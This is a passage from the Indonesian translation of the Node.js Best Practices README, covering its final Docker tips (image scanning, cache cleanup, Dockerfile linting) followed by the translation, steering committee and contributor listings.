bahwa tidak ada orang jahat yang menginjeksi hal-hal buruk selama build. Oleh karena itu, disarankan untuk menjalankan hal ini sebagai langkah terakhir sebelum proses deployment. Ada beberapa pemindai gratis dan komersial yang juga menyediakan plugin CI/CD\n\n**Jika tidak:** Kode Anda mungkin sepenuhnya bebas dari kerentanan. Namun itu mungkin masih dapat diretas karena versi binari OS-level yang rentan (misalnya OpenSSL, TarBall) yang biasanya digunakan oleh aplikasi\n\n🔗 [**Baca selengkapnya: Generic Docker practices**](./sections/docker/scan-images.md)\n\n<br /><br /><br />\n\n## ![✔] 8.13 Bersihkan cache NODE_MODULE\n\n**TL;DR:** Setelah menginstal dependensi dalam kontainer, hapus cache lokal. Tidak masuk akal untuk menduplikasi dependensi untuk penginstalan lebih cepat di masa mendatang karena tidak akan ada penginstalan lagi seterusnya - Image Docker tidak dapat diubah. Dengan menggunakan satu baris kode, puluhan MB (biasanya 10-50% dari ukuran gambar) dihilangkan\n\n**Jika tidak:** Gambar yang akan dikirim ke produksi akan menjadi 30% lebih besar karena file yang tidak akan pernah digunakan\n\n🔗 [**Baca selengkapnya: Clean NODE_MODULE cache**](./sections/docker/clean-cache.md)\n\n<br /><br /><br />\n\n## ![✔] 8.14. Praktik Docker umum\n\n**TL;DR:** Ini adalah kumpulan saran Docker yang tidak terkait langsung dengan Node.js - implementasi pada Node tidak jauh berbeda dengan bahasa lain. Klik baca selengkapnya untuk membaca sekilas.\n\n🔗 [**Baca selengkapnya: Generic Docker practices**](./sections/docker/generic-tips.md)\n\n<br/><br /><br />\n\n## ![✔] 8.15. Lint Dockerfile Anda\n\n**TL;DR:** Melakukan lint pada Dockerfile Anda adalah langkah yang penting untuk mengidentifikasi masalah di Dockerfile Anda yang tidak ada di praktik terbaik. Dengan memeriksa potensi kekurangan menggunakan linter Docker khusus, peningkatan performa dan keamanan dapat dengan mudah diidentifikasi, menghemat waktu yang terbuang atau mengurangi masalah keamanan dalam kode produksi.\n\n**Jika tidak:** Secara tidak sengaja pembuat Dockerfile meninggalkan Root sebagai pengguna produksi, dan juga menggunakan gambar dari repositori yang tidak dikenal. Hal ini dapat dihindari hanya dengan linter sederhana.\n\n🔗 [**Baca selengkapnya: Lint your Dockerfile**](./sections/docker/lint-dockerfile.md)\n\n<br/><br /><br />\n\n<p align=\"right\"><a href=\"#daftar-isi\">⬆ Kembali ke atas</a></p>\n\n# Tonggak Sejarah\n\nUntuk menjaga panduan ini agar tetap mutakir, kami terus memperbarui dan meningkatkan pedoman dan praktik terbaik ini dengan bantuan komunitas. Anda dapat mengikuti [milestones](https://github.com/goldbergyoni/nodebestpractices/milestones) dan bergabung dalam kelompok kerja jika Anda ingin berkontribusi pada proyek ini\n\n<br/>\n\n## Terjemahan\n\nSemua terjemahan merupakan kontribusi dari komunitas. Kami akan dengan senang hati mendapatkan bantuan baik untuk terjemahan yang telah selesai, sedang berlangsung atau yang baru!\n\n### Terjemahan selesai\n\n- ![BR](./assets/flags/BR.png) [Portugis Brazil](./README.brazilian-portuguese.md) - Terima kasih kepada [Marcelo Melo](https://github.com/marcelosdm)\n- ![CN](./assets/flags/CN.png) [Cina](./README.chinese.md) - Terima kasih kepada [Matt Jin](https://github.com/mattjin)\n- ![RU](./assets/flags/RU.png) [Rusia](./README.russian.md) - Terima kasih kepada [Alex Ivanov](https://github.com/contributorpw)\n- ![PL](./assets/flags/PL.png) [Polandia](./README.polish.md) - Terima kasih kepada [Michal Biesiada](https://github.com/mbiesiad)\n- ![EU](./assets/flags/EU.png) [Basque](README.basque.md) - Terima kasih kepada [Ane Diaz de Tuesta](https://github.com/anediaz) & Joxefe Diaz de Tuesta\n\n### Terjemahan dalam proses\n\n- ![FR](./assets/flags/FR.png) [Prancis](https://github.com/gaspaonrocks/nodebestpractices/blob/french-translation/README.french.md) ([Diskusi](https://github.com/goldbergyoni/nodebestpractices/issues/129))\n- ![HE](./assets/flags/HE.png) Ibrani ([Diskusi](https://github.com/goldbergyoni/nodebestpractices/issues/156))\n- ![KR](./assets/flags/KR.png) [Korea](README.korean.md) - Terima kasih kepada [Sangbeom Han](https://github.com/uronly14me) ([Diskusi](https://github.com/goldbergyoni/nodebestpractices/issues/94))\n- ![ES](./assets/flags/ES.png) [Spanyol](https://github.com/goldbergyoni/nodebestpractices/blob/spanish-translation/README.spanish.md) ([Diskusi](https://github.com/goldbergyoni/nodebestpractices/issues/95))\n- ![TR](./assets/flags/TR.png) Turki ([Diskusi](https://github.com/goldbergyoni/nodebestpractices/issues/139))\n\n<br/><br/>\n\n## Komite Pengarah\n\nMemperkenalkan anggota komite pengarah - orang-orang yang bekerja sama untuk memberikan panduan dan arahan masa depan proyek. Selain itu, setiap anggota komite memimpin proyek yang dilacak dalam [Github projects](https://github.com/goldbergyoni/nodebestpractices/projects) kami.\n\n<img align=\"left\" width=\"100\" height=\"100\" src=\"assets/images/members/yoni.png\"/>\n\n[Yoni Goldberg](https://github.com/goldbergyoni)\n<a href=\"https://twitter.com/goldbergyoni\"><img src=\"assets/images/twitter-s.png\" width=\"16\" height=\"16\"></img></a>\n<a href=\"https://goldbergyoni.com\"><img src=\"assets/images/www.png\" width=\"16\" height=\"16\"></img></a>\n\nKonsultan Node.js independen yang bekerja dengan pelanggan di AS, Eropa, dan Israel dalam membangun aplikasi Node.js berskala besar. Banyak praktik terbaik di atas pertama kali dipublikasikan di [goldbergyoni.com](https://goldbergyoni.com). Hubungi Yoni di [@goldbergyoni](https://github.com/goldbergyoni) atau [me@goldbergyoni.com](mailto:me@goldbergyoni.com)\n\n<br/>\n\n<img align=\"left\" width=\"100\" height=\"100\" src=\"assets/images/members/bruno.png\"/>\n\n[Bruno Scheufler](https://github.com/BrunoScheufler)\n<a href=\"https://brunoscheufler.com/\"><img src=\"assets/images/www.png\" width=\"16\" height=\"16\"></img></a>\n\n💻 Engineer web full-stack, penggemar Node.js & GraphQL\n\n<br/>\n\n<img align=\"left\" width=\"100\" height=\"100\" src=\"assets/images/members/kyle.png\"/>\n\n[Kyle Martin](https://github.com/js-kyle)\n<a href=\"https://twitter.com/kylemartin_93\"><img src=\"assets/images/twitter-s.png\" width=\"16\" height=\"16\"></img></a>\n<a href=\"https://www.linkedin.com/in/kylemartinnz\"><img src=\"assets/images/linkedin.png\" width=\"16\" height=\"16\"></img></a>\n\nPengembang Full Stack & Site Reliability Engineer yang berbasis di Selandia Baru, tertarik pada keamanan aplikasi web, dan merancang serta membangun aplikasi Node.js untuk bekerja dalam skala global.\n\n<br/>\n\n<img align=\"left\" width=\"100\" height=\"100\" src=\"assets/images/members/kevyn.png\"/>\n\n[Kevyn Bruyere](https://github.com/kevynb)\n<a href=\"https://www.linkedin.com/in/kevynbruyere/\"><img src=\"assets/images/linkedin.png\" width=\"16\" height=\"16\"></img></a>\n\nPengembang full-stack independen dengan selera untuk Ops dan otomatisasi.\n\n<br/>\n\n### Mantan Komite Pengarah\n\n<img align=\"left\" width=\"100\" height=\"100\" src=\"assets/images/members/sagir.png\"/>\n\n[Sagir Khan](https://github.com/sagirk)\n<a href=\"https://twitter.com/sagir_k\"><img src=\"assets/images/twitter-s.png\" width=\"16\" height=\"16\"></img></a>\n<a href=\"https://linkedin.com/in/sagirk\"><img src=\"assets/images/linkedin.png\" width=\"16\" height=\"16\"></img></a>\n<a href=\"https://sagirk.com\"><img src=\"assets/images/www.png\" width=\"16\" height=\"16\"></img></a>\n\nSpesialis mendalam dalam JavaScript dan ekosistemnya — React, Node.js, TypeScript, GraphQL, MongoDB, hampir semua hal yang berhubungan dengan JS/JSON di setiap lapisan sistem — membuat produk menggunakan platform web untuk merek paling terkenal di dunia. Anggota perorangan dari Node.js Foundation.\n\n<br/>\n\n## Kolaborator\n\nTerima kasih untuk semua kolaborator kami! 🙏\n\nKolaborator kami adalah anggota yang sering berkontribusi ke repositori ini, melalui menyarankan praktik terbaik baru, menyortir masalah, meninjau pull request dan banyak lagi. Jika Anda tertarik untuk membantu kami memandu ribuan orang untuk membuat aplikasi Node.js yang lebih baik, silakan baca [contributor guidelines](./.operations/CONTRIBUTING.md) 🎉\n\n| <a href=\"https://github.com/idori\" target=\"_blank\"><img src=\"assets/images/members/ido.png\" width=\"75\" height=\"75\"/></a> | <a href=\"https://github.com/TheHollidayInn\" target=\"_blank\"><img src=\"assets/images/members/keith.png\" width=\"75\" height=\"75\"/></a> |\n| :---------------------------------------------------------------------------------------------------------------------: | :--------------------------------------------------------------------------------------------------------------------------------: |\n|                                    [Ido Richter (Founder)](https://github.com/idori)                                    |                                        [Keith Holliday](https://github.com/TheHollidayInn)                                         |\n\n### Mantan Kolaborator\n\n| <a href=\"https://github.com/refack\" target=\"_blank\"><img src=\"assets/images/members/refael.png\" width=\"50\" height=\"50\"/></a> |\n| :-------------------------------------------------------------------------------------------------------------------------: |\n|                                        [Refael Ackermann](https://github.com/refack)                                        |\n\n<br/>\n\n## Kontribusi\n\nJika Anda pernah ingin berkontribusi pada open source, sekarang kesempatan Anda! Lihat [contributing docs](.operations/CONTRIBUTING.md) untuk informasi lebih lanjut.\n\n## Kontributor ✨\n\nTerima kasih kepada orang-orang hebat ini yang telah berkontribusi pada repositori ini!\n\n<!-- ALL-CONTRIBUTORS-LIST:START - Do not remove or modify this section -->\n<!-- prettier-ignore-start -->\n<!-- markdownlint-disable -->\n<table>\n  <tbody>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/kevinrambaud\"><img src=\"https://avatars1.githubusercontent.com/u/7501477?v=4\" width=\"100px;\" alt=\"Kevin Rambaud\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kevin Rambaud</b></sub></a><br /><a href=\"#content-kevinrambaud\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/mfine15\"><img src=\"https://avatars1.githubusercontent.com/u/1286554?v=4\" width=\"100px;\" alt=\"Michael Fine\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Michael Fine</b></sub></a><br /><a href=\"#content-mfine15\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://squgeim.github.io\"><img src=\"https://avatars0.githubusercontent.com/u/4996818?v=4\" width=\"100px;\" alt=\"Shreya Dahal\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Shreya Dahal</b></sub></a><br /><a href=\"#content-squgeim\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://matheusrocha89.com\"><img src=\"https://avatars1.githubusercontent.com/u/3718366?v=4\" width=\"100px;\" alt=\"Matheus Cruz Rocha\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Matheus Cruz Rocha</b></sub></a><br /><a href=\"#content-matheusrocha89\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://bityog.github.io/Portfolio/\"><img src=\"https://avatars2.githubusercontent.com/u/28219178?v=4\" width=\"100px;\" alt=\"Yog Mehta\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Yog Mehta</b></sub></a><br /><a href=\"#content-BitYog\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://kudapara.co.zw\"><img src=\"https://avatars3.githubusercontent.com/u/13519184?v=4\" width=\"100px;\" alt=\"Kudakwashe Paradzayi\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Kudakwashe Paradzayi</b></sub></a><br /><a href=\"#content-kudapara\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.t1st3.com/\"><img src=\"https://avatars1.githubusercontent.com/u/1469638?v=4\" width=\"100px;\" alt=\"t1st3\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>t1st3</b></sub></a><br /><a href=\"#content-t1st3\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/mulijordan1976\"><img src=\"https://avatars0.githubusercontent.com/u/33382022?v=4\" width=\"100px;\" alt=\"mulijordan1976\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>mulijordan1976</b></sub></a><br /><a href=\"#content-mulijordan1976\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/matchai\"><img src=\"https://avatars0.githubusercontent.com/u/4658208?v=4\" width=\"100px;\" alt=\"Matan Kushner\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Matan Kushner</b></sub></a><br /><a href=\"#content-matchai\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://fabiothiroki.github.io\"><img src=\"https://avatars2.githubusercontent.com/u/670057?v=4\" width=\"100px;\" alt=\"Fabio Hiroki\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Fabio Hiroki</b></sub></a><br /><a href=\"#content-fabiothiroki\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://james.sumners.info/\"><img src=\"https://avatars1.githubusercontent.com/u/321201?v=4\" width=\"100px;\" alt=\"James Sumners\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>James Sumners</b></sub></a><br /><a href=\"#content-jsumners\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/_DanGamble\"><img src=\"https://avatars2.githubusercontent.com/u/7152041?v=4\" width=\"100px;\" alt=\"Dan Gamble\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Dan Gamble</b></sub></a><br /><a href=\"#content-dan-gamble\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/trainorpj\"><img src=\"https://avatars3.githubusercontent.com/u/13276704?v=4\" width=\"100px;\" alt=\"PJ Trainor\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>PJ Trainor</b></sub></a><br /><a href=\"#content-trainorpj\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/reod\"><img src=\"https://avatars0.githubusercontent.com/u/3164299?v=4\" width=\"100px;\" alt=\"Remek Ambroziak\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Remek Ambroziak</b></sub></a><br /><a href=\"#content-reod\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://ca.non.co.il\"><img src=\"https://avatars0.githubusercontent.com/u/1829789?v=4\" width=\"100px;\" alt=\"Yoni Jah\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Yoni Jah</b></sub></a><br /><a href=\"#content-yonjah\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/hazolsky\"><img src=\"https://avatars1.githubusercontent.com/u/1270790?v=4\" width=\"100px;\" alt=\"Misha Khokhlov\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Misha Khokhlov</b></sub></a><br /><a href=\"#content-hazolsky\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://plus.google.com/+ЕвгенийОрехов/\"><img src=\"https://avatars3.githubusercontent.com/u/8045060?v=4\" width=\"100px;\" alt=\"Evgeny Orekhov\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Evgeny Orekhov</b></sub></a><br /><a href=\"#content-EvgenyOrekhov\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/gediminasml\"><img src=\"https://avatars3.githubusercontent.com/u/19854105?v=4\" width=\"100px;\" alt=\"-\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>-</b></sub></a><br /><a href=\"#content-gediminasml\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://hisaac.net\"><img src=\"https://avatars3.githubusercontent.com/u/923876?v=4\" width=\"100px;\" alt=\"Isaac Halvorson\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Isaac Halvorson</b></sub></a><br /><a href=\"#content-hisaac\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.vedrankaracic.com\"><img src=\"https://avatars3.githubusercontent.com/u/2808092?v=4\" width=\"100px;\" alt=\"Vedran Karačić\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Vedran Karačić</b></sub></a><br /><a href=\"#content-vkaracic\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/lallenlowe\"><img src=\"https://avatars3.githubusercontent.com/u/10761165?v=4\" width=\"100px;\" alt=\"lallenlowe\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>lallenlowe</b></sub></a><br /><a href=\"#content-lallenlowe\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/nwwells\"><img src=\"https://avatars2.githubusercontent.com/u/1039473?v=4\" width=\"100px;\" alt=\"Nathan Wells\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Nathan Wells</b></sub></a><br /><a href=\"#content-nwwells\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/paulovitin\"><img src=\"https://avatars0.githubusercontent.com/u/125503?v=4\" width=\"100px;\" alt=\"Paulo Reis\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Paulo Reis</b></sub></a><br /><a href=\"#content-paulovitin\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://snap.simpego.ch\"><img src=\"https://avatars2.githubusercontent.com/u/1989646?v=4\" width=\"100px;\" alt=\"syzer\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>syzer</b></sub></a><br /><a href=\"#content-syzer\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://sancho.dev\"><img src=\"https://avatars0.githubusercontent.com/u/3763599?v=4\" width=\"100px;\" alt=\"David Sancho\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>David Sancho</b></sub></a><br /><a href=\"#content-davesnx\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://apiforge.it\"><img src=\"https://avatars0.githubusercontent.com/u/4929965?v=4\" width=\"100px;\" alt=\"Robert Manolea\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Robert Manolea</b></sub></a><br /><a href=\"#content-pupix\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://jumptoglide.com\"><img src=\"https://avatars2.githubusercontent.com/u/708395?v=4\" width=\"100px;\" alt=\"Xavier Ho\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Xavier Ho</b></sub></a><br /><a href=\"#content-spaxe\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.ocular-rhythm.io\"><img src=\"https://avatars0.githubusercontent.com/u/2738518?v=4\" width=\"100px;\" alt=\"Aaron\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Aaron</b></sub></a><br /><a href=\"#content-ocularrhythm\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://septa97.me\"><img src=\"https://avatars2.githubusercontent.com/u/13742634?v=4\" width=\"100px;\" alt=\"Jan Charles Maghirang Adona\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jan Charles Maghirang Adona</b></sub></a><br /><a href=\"#content-septa97\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://www.cakeresume.com/allenfang\"><img src=\"https://avatars2.githubusercontent.com/u/5351390?v=4\" width=\"100px;\" alt=\"Allen\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Allen</b></sub></a><br /><a href=\"#content-AllenFang\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/leonardovillela\"><img src=\"https://avatars3.githubusercontent.com/u/8650543?v=4\" width=\"100px;\" alt=\"Leonardo Villela\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Leonardo Villela</b></sub></a><br /><a href=\"#content-leonardovillela\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://michalzalecki.com\"><img src=\"https://avatars1.githubusercontent.com/u/3136577?v=4\" width=\"100px;\" alt=\"Michał Załęcki\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Michał Załęcki</b></sub></a><br /><a href=\"#content-MichalZalecki\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.wealthbar.com\"><img src=\"https://avatars1.githubusercontent.com/u/156449?v=4\" width=\"100px;\" alt=\"Chris Nicola\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Chris Nicola</b></sub></a><br /><a href=\"#content-chrisnicola\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://twitter.com/aecorredor\"><img src=\"https://avatars3.githubusercontent.com/u/9114987?v=4\" width=\"100px;\" alt=\"Alejandro Corredor\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Alejandro Corredor</b></sub></a><br /><a href=\"#content-aecorredor\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/cwar\"><img src=\"https://avatars3.githubusercontent.com/u/272843?v=4\" width=\"100px;\" alt=\"cwar\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>cwar</b></sub></a><br /><a href=\"#content-cwar\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/keyfoxth\"><img src=\"https://avatars3.githubusercontent.com/u/10647132?v=4\" width=\"100px;\" alt=\"Yuwei\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Yuwei</b></sub></a><br /><a href=\"#content-keyfoxth\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://bigcodenerd.org\"><img src=\"https://avatars3.githubusercontent.com/u/10895594?v=4\" width=\"100px;\" alt=\"Utkarsh Bhatt\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Utkarsh Bhatt</b></sub></a><br /><a href=\"#content-utkarshbhatt12\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/duartemendes\"><img src=\"https://avatars2.githubusercontent.com/u/12852058?v=4\" width=\"100px;\" alt=\"Duarte Mendes\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Duarte Mendes</b></sub></a><br /><a href=\"#content-duartemendes\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://jasonkim.ca\"><img src=\"https://avatars2.githubusercontent.com/u/103456?v=4\" width=\"100px;\" alt=\"Jason Kim\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Jason Kim</b></sub></a><br /><a href=\"#content-serv\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/Max101\"><img src=\"https://avatars2.githubusercontent.com/u/2124249?v=4\" width=\"100px;\" alt=\"Mitja O.\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Mitja O.</b></sub></a><br /><a href=\"#content-Max101\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://sandromiguel.com\"><img src=\"https://avatars0.githubusercontent.com/u/6423157?v=4\" width=\"100px;\" alt=\"Sandro Miguel Marques\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Sandro Miguel Marques</b></sub></a><br /><a href=\"#content-SandroMiguel\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/GabeKuslansky\"><img src=\"https://avatars3.githubusercontent.com/u/9855482?v=4\" width=\"100px;\" alt=\"Gabe\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Gabe</b></sub></a><br /><a href=\"#content-GabeKuslansky\" title=\"Content\">🖋</a></td>\n    </tr>\n    <tr>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://ripper234.com/\"><img src=\"https://avatars1.githubusercontent.com/u/172282?v=4\" width=\"100px;\" alt=\"Ron Gross\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Ron Gross</b></sub></a><br /><a href=\"#content-ripper234\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"http://www.thecodebarbarian.com\"><img src=\"https://avatars2.githubusercontent.com/u/1620265?v=4\" width=\"100px;\" alt=\"Valeri Karpov\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Valeri Karpov</b></sub></a><br /><a href=\"#content-vkarpov15\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://sergiobernal.com\"><img src=\"https://avatars3.githubusercontent.com/u/20087388?v=4\" width=\"100px;\" alt=\"Sergio Bernal\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Sergio Bernal</b></sub></a><br /><a href=\"#content-imsergiobernal\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/ntelkedzhiev\"><img src=\"https://avatars2.githubusercontent.com/u/7332371?v=4\" width=\"100px;\" alt=\"Nikola Telkedzhiev\"style=\"max-width:100px;min-width:100px;\" /><br /><sub style=\"white-space: nowrap;overflow: hidden;text-overflow: ellipsis;\"><b>Nikola Telkedzhiev</b></sub></a><br /><a href=\"#content-ntelkedzhiev\" title=\"Content\">🖋</a></td>\n      <td align=\"center\" valign=\"top\" width=\"14.28%\"><a href=\"https://github.com/vitordagamagodoy\"><img 